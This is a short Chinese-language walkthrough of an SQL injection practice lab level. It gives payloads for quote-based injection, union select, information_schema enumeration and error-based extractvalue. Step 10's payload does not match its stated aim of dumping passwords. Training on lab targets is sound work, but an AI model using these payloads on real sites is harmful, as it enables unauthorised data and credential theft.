less1
1.輸入id=1,得到了ID和Password
?id=1
2.and 1=1 和 1=2都沒有報錯
3.加上單引號後出現報錯,可能存在SQL字符注入
4.用–+將‘註釋掉後回顯正常,說明這裏是單引號字符型注入
5.用order語句判斷列數,order by 3沒有報錯,改爲4的時候出現回顯錯誤,說明這個表有3列
6.將id=1改爲一個數據庫不存在的id,用union select 1,2,3聯合查詢語句查看是否有回顯
發現輸出了2和3,說明有兩個回顯位
7.用sql語句,查詢數據庫名
(select group_concat(schema_name)from information_schema.schemata)
8.用sql語句,查詢security中的所有表名
(select group_concat(table_name) from information_schema.tables where table_schema='security')
9.查詢出列名
select group_concat(column_name) from information_schema.columns where table_name='users'
10.查詢所有的用戶名,密碼
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+